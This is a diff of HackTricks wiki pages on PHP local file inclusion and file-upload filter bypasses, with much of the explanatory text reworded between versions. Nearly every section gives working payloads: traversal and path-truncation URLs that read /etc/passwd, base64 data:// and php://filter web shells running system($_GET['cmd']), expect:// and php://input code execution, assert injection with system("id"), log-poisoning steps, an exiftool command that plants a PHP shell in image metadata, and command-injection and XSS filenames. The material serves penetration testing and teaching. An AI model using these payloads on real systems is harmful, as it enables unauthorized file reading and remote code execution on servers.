http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
|
||||
* if the application is vulnerable, there might be two different outcomes to the request:
|
||||
* if you get an error / no output, the `private` folder does not exist at this location
|
||||
* if you get the content from `/etc/passwd`, you validated that there is indeed a `private`folder in your current directory
|
||||
* the folder(s) you discovered using this techniques can then be fuzzed for files (using a classic LFI method) or for subdirectories using the same technique recursively.
|
||||
3. **Interpret the Outcomes:**
|
||||
The server's response indicates whether the folder exists:
|
||||
- **Error / No Output:** The folder `private` likely does not exist at the specified location.
|
||||
- **Contents of `/etc/passwd`:** The presence of the `private` folder is confirmed.
|
||||
|
||||
It is possible to adapt this technique to find directories at any location in the file system. For instance, if, under the same hypothesis (current directory at depth 3 of the file system) you want to check if `/var/www/` contains a `private` directory, use the following payload:
|
||||
4. **Recursive Exploration:**
|
||||
Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods.
|
||||
|
||||
```
|
||||
For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if `/var/www/` contains a `private` directory (assuming the current directory is at a depth of 3), use:
|
||||
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
|
||||
The following sequence of commands allows the generation of payloads using `sed` (1) as input for url fuzzing tools such as `ffuf` (2):
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.
|
||||
|
||||
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
|
||||
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
|
||||
|
||||
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
|
||||
|
||||
```
|
||||
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
||||
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
||||
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'
|
||||
```
|
||||
|
||||
Of course, adapt there payloads to your needs in terms of depth / location / input directory list.
|
||||
|
||||
### **Path truncation**
|
||||
|
||||
Bypass the append of more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
|
||||
|
||||
```
|
||||
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
||||
Check if last 6 chars are passwd --> passwd/
|
||||
Check if last 4 chars are ".php" --> shellcode.php/.
|
||||
```
|
||||
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
```
|
||||
|
||||
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
|
||||
|
||||
```
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
|
||||
Always try to **start** the path **with a fake directory** (a/).
|
||||
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**:
|
||||
Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
|
||||
|
||||
- **Determining the Required Number of Traversals**:
|
||||
Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
|
||||
|
||||
- **Starting with a Fake Directory**:
|
||||
It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
|
||||
|
||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
|
@ -382,13 +390,11 @@ http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQn
|
|||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
|
||||
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
||||
|
||||
Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect has to be activated. You can execute code using this.
|
||||
Expect has to be activated. You can execute code using this:
|
||||
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
|
@ -397,39 +403,38 @@ http://example.com/index.php?page=expect://ls
|
|||
|
||||
### input://
|
||||
|
||||
Specify your payload in the POST parameters
|
||||
Specify your payload in the POST parameters:
|
||||
|
||||
```
|
||||
http://example.com/index.php?page=php://input
|
||||
POST DATA: <?php system('id'); ?>
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
|
||||
### phar://
|
||||
|
||||
A `.phar` file can be also used to execute PHP code if the web is using some function like `include` to load the file.
|
||||
A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file:
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```python
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
$phar->startBuffering();
|
||||
$phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
And you can compile the `phar` executing the following line:
|
||||
To compile the `.phar` file, the following command should be executed:
|
||||
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
|
||||
A file called `test.phar` will be generated that you can use to abuse the LFI.
|
||||
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
|
||||
If the LFI is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
|
||||
For more information read the following post:
|
||||
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
|
||||
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
{% content-ref url="phar-deserialization.md" %}
|
||||
[phar-deserialization.md](phar-deserialization.md)
|
||||
|
@ -450,27 +455,28 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e
|
|||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.
|
||||
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
|
||||
|
||||
A payload like this:
|
||||
|
||||
```
|
||||
' and die(show_source('/etc/passwd')) or '
|
||||
```
|
||||
|
||||
will successfully exploit PHP code for a "file" parameter that looks like this:
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
|
||||
It's also possible to get RCE in a vulnerable "assert" statement using the system() function:
|
||||
While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use:
|
||||
|
||||
```
|
||||
' and die(system("whoami")) or '
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
|
||||
Be sure to URL-encode payloads before you send them.
|
||||
Similarly, for executing arbitrary system commands, one might use:
|
||||
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
|
||||
It's important to **URL-encode these payloads**.
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -519,7 +525,7 @@ Note that **if you use double quotes** for the shell instead of **simple quotes*
|
|||
Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
|
||||
{% endhint %}
|
||||
|
||||
This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
|
||||
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
|
||||
Other possible log paths:
|
||||
|
||||
```python
|
||||
|
@ -606,11 +612,15 @@ If ssh is active check which user is being used (/proc/self/status & /etc/passwd
|
|||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
|
||||
The logs for the FTP server vsftpd are located at **_/var/log/vsftpd.log_**. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
|
||||
|
||||
1. Inject a PHP payload into the username field during the login process.
|
||||
2. Post injection, utilize the LFI to retrieve the server logs from **_/var/log/vsftpd.log_**.
|
||||
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
as shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article,PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
|
||||
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
|
||||
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
@ -620,7 +630,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
|
||||
### Via php filters (no file needed)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -693,8 +703,8 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
|||
|
||||
## References
|
||||
|
||||
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
||||
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
||||
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
|
|
|
@ -13,8 +13,11 @@ Other ways to support HackTricks:
|
|||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Vulnerable configuration
|
||||
|
||||
**[Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)**
|
||||
|
||||
* PHP code:
|
||||
|
||||
```
|
||||
|
|
|
@ -37,7 +37,7 @@ If uploads are allowed in PHP and you try to upload a file, this files is stored
|
|||
|
||||
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
|
||||
|
||||
In **Windows** the files are usually stored in **C:\Windows\temp\php<<**
|
||||
In **Windows** the files are usually stored in **C:\Windows\temp\php**
|
||||
|
||||
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
|
||||
|
||||
|
|
|
@ -13,6 +13,7 @@ Other ways to support HackTricks:
|
|||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
According to the writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (second part) and [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), the following payloads caused a segmentation fault in PHP:
|
||||
|
||||
```php
|
||||
|
|
|
@ -15,43 +15,38 @@ Other ways to support HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
|
||||
**Check the full details of this technique in [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
|
||||
|
||||
## **PHP File uploads**
|
||||
|
||||
**PHP** engine, upon **receiving a POST packet** with RFC 1867 **coded file(s)**, **creates** one or more **temporary files** which are used to **store the uploaded files data**. A PHP script handling file uploads is required to use the move\_uploaded\_file function to move the uploaded temporary file to a place of it's desire (if the script requires the file to exists after it terminates that is). **When the script ends PHP engine removes all temporary files** for files that were uploaded (if any are left after the script ends that is).
|
||||
When a **PHP** engine receives a **POST request** containing files formatted according to RFC 1867, it generates temporary files to store the uploaded data. These files are crucial for file upload handling in PHP scripts. The `move_uploaded_file` function must be used to relocate these temporary files to a desired location if persistent storage beyond the script's execution is needed. Post-execution, PHP automatically deletes any remaining temporary files.
|
||||
|
||||
{% hint style="info" %}
|
||||
**As the attacker will usually know where this temporary files are located, in case he found a Local File Inclusion, he might find to load the file being uploaded and get RCE.**
|
||||
**Security Alert: Attackers, aware of the temporary files' location, might exploit a Local File Inclusion vulnerability to execute code by accessing the file during upload.**
|
||||
{% endhint %}
|
||||
|
||||
The main problem to access the file basically to **guess its name (which will be "random")**.
|
||||
The challenge for unauthorized access lies in predicting the temporary file's name, which is intentionally randomized.
|
||||
|
||||
## Windows Exploitation
|
||||
#### Exploitation on Windows Systems
|
||||
|
||||
To generate the r**andom name on Windows,** PHP uses the **`GetTempFileName`** function. Looking into documentation we can find the following explanation: The GetTempFileName function creates a temporary file name of the following form:
|
||||
On Windows, PHP generates temporary file names using the `GetTempFileName` function, resulting in a pattern like `<path>\<pre><uuuu>.TMP`. Notably:
|
||||
|
||||
`<path>\<pre><uuuu>.TMP`
|
||||
- The default path is typically `C:\Windows\Temp`.
|
||||
- The prefix is usually "php".
|
||||
- The `<uuuu>` represents a unique hexadecimal value. Crucially, due to the function's limitation, only the lower 16 bits are used, allowing for a maximum of 65,535 unique names with constant path and prefix, making brute force feasible.
|
||||
|
||||
* The path is `upload_tmp_dir` which normally it's `C:\Windows\Temp`
|
||||
* The pre is usually: "php"
|
||||
* The \<uuuu> is a unique hex value. However:
|
||||
* Only the lower 16 bits of the uUnique parameter are used. This limits GetTempFileName to a maximum of 65,535 unique file names if the lpPathName and lpPrefixStringparameters remain the same. **It's possible to brute-force it.**
|
||||
|
||||
As we saw, it's fairly **easy** to **find** the **temporary file in Windows systems**. And it's going to get easier because brute force is not needed here, thanks to a certain FindFirstFile quirk which allows **using masks** (<< as \* and > as ?) in LFI paths on Windows. Thanks to this, one can form an **include path like this**:
|
||||
Moreover, the exploitation process is simplified on Windows systems. A peculiarity in the `FindFirstFile` function permits the use of wildcards in Local File Inclusion (LFI) paths. This enables crafting an include path like the following to locate the temporary file:
|
||||
|
||||
```
|
||||
http://site/vuln.php?inc=c:\windows\temp\php<<
|
||||
```
|
||||
|
||||
(In some cases more specific mask might be necessary such as `php1<<` or `phpA<<`). You can Brute-Force more specific masks until you find your uploaded temporary file.
|
||||
In certain situations, a more specific mask (like `php1<<` or `phpA<<`) might be required. One can systematically try these masks to discover the uploaded temporary file.
|
||||
|
||||
## GNU/Linux Exploitation
|
||||
#### Exploitation on GNU/Linux Systems
|
||||
|
||||
The random value of the file name is good enough to not be neither predictable nor brute-forceable. For more info, check the references.
|
||||
|
||||
## References
|
||||
|
||||
* [https://gynvael.coldwind.pl/?id=376](https://gynvael.coldwind.pl/?id=376)
|
||||
* [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)
|
||||
For GNU/Linux systems, the randomness in temporary file naming is robust, rendering the names neither predictable nor susceptible to brute force attacks. Further details can be found in the referenced documentation.
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -13,7 +13,8 @@ Other ways to support HackTricks:
|
|||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
### Basic Info
|
||||
|
||||
## Basic Info
|
||||
|
||||
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If **`session.upload_progress.enabled`** is **`On`** and you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**.
|
||||
|
||||
|
|
|
@ -1,306 +0,0 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# File Upload General Methodology
|
||||
|
||||
1. Try to upload a file with a **double extension** \(ex: _file.png.php_ or _file.png.php5_\).
|
||||
* PHP extensions: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
|
||||
* ASP extensions: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
|
||||
2. Try to **uppercase some letter\(s\)** of the extension. Like: _.pHp, .pHP5, .PhAr ..._
|
||||
3. Try to upload some **double \(or more\) extension** \(useful to bypass misconfigured checks that test if a specific extension is just present\):
|
||||
1. _file.png.php_
|
||||
2. _file.png.txt.php_
|
||||
4. Try to upload some **reverse double extension** \(useful to exploit Apache misconfigurations where anything with extension _.php_, but **not necessarily ending in .php** will execute code\):
|
||||
* _ex: file.php.png_
|
||||
5. Double extension with **null character:**
|
||||
1. _ex: file.php%00.png_
|
||||
6. **Add some especial characters at the end** of the extension_: %00, %20, \(several dots\)...._
|
||||
1. _file.php%00_
|
||||
2. _file.php%20_
|
||||
3. _file.php...... --> In Windows when a file is created with dots at the end those will be removed \(so you can bypass filters that checks for .php as extension\)_
|
||||
4. _file.php/_
|
||||
5. _file.php.\_
|
||||
7. Bypass Content-Type checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
8. Bypass magic number check by adding at the beginning of the file the **bytes of a real image** \(confuse the _file_ command\). Or introduce the shell inside the **metadata**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
|
||||
1. It is also possible that the **magic bytes** are just being **checked** in the file and you could set them **anywhere in the file**.
|
||||
9. Using **NTFS alternate data stream \(ADS\)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server \(e.g. “file.asax:.jpg”\). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions \(.e.g. “file.asp::$data.”\)
|
||||
10. **Upload** the backdoor with an **allowed extension** \(_png_\) and pray for a **misconfiguration** that executes the backdoor
|
||||
11. Find a vulnerability to **rename** the file already uploaded \(to change the extension\).
|
||||
12. Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||||
13. **Possible Information disclosure**:
|
||||
1. Upload **several times** \(and at the **same time**\) the **same file** with the **same name**
|
||||
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
|
||||
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
|
||||
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. \(Windows\)
|
||||
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. \(Windows\)
|
||||
6. Upload a file in **Windows** using **reserved** \(**forbidden**\) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
|
||||
Try also to **upload an executable** \(.exe\) or an **.html** \(less suspicious\) that **will execute code** when accidentally opened by victim.
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
|
||||
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).
|
||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** \(executing it with php, or including it inside a script...\)
|
||||
|
||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
||||
|
||||
**Check a lot of possible file upload vulnerabilities with BurpSuit plugin** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **or use a console application that finds which files can be uploaded and try different tricks to execute code:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** \(as in this example **".gif"** is a **valid** extension\) but `wget` will **rename** the file to **"A"\*232+".php"**.
|
||||
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
python3 -m http.server 9080
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download the file
|
||||
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
The name is too long, 240 chars total.
|
||||
Trying to shorten...
|
||||
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
|
||||
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
|
||||
Connecting to 127.0.0.1:9080... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 10 [image/gif]
|
||||
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
|
||||
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
# From File upload to other vulnerabilities
|
||||
|
||||
* Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
* Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
* Set **filename** to `<svg onload=alert(document.comain)>` to achieve a XSS
|
||||
* Set **filename** to `; sleep 10;` to test some command injection \(more [command injections tricks here](command-injection.md)\)
|
||||
* [**XSS** in image \(svg\) file upload](xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** file **upload** + **XSS** = [**Service Workers** exploitation](xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE in svg upload**](xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
